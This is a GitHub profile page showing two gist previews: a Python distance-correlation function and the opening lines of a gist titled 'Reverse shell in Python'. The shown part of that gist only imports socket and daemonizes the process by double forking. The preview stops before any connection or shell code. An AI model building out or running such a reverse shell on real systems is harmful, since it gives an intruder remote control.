Skip to content

Instantly share code, notes, and snippets.

View paolo-losi's full-sized avatar

Paolo Losi paolo-losi

  • enuan Srl
  • Italy
View GitHub Profile
@satra
satra / distcorr.py
Created October 16, 2014 15:40
Distance Correlation in Python
from scipy.spatial.distance import pdist, squareform
import numpy as np
from numbapro import jit, float32
def distcorr(X, Y):
""" Compute the distance correlation function
>>> a = [1,2,3,4,5]
>>> b = np.array([1,2,9,4,4])
@gdamjan
gdamjan / simple.py
Created June 30, 2012 23:04
Reverse shell in Python
import socket, os, sys
def daemonize():
pid = os.fork()
if pid > 0:
sys.exit(0) # Exit first parent
pid = os.fork()
if pid > 0:
sys.exit(0) # Exit second parent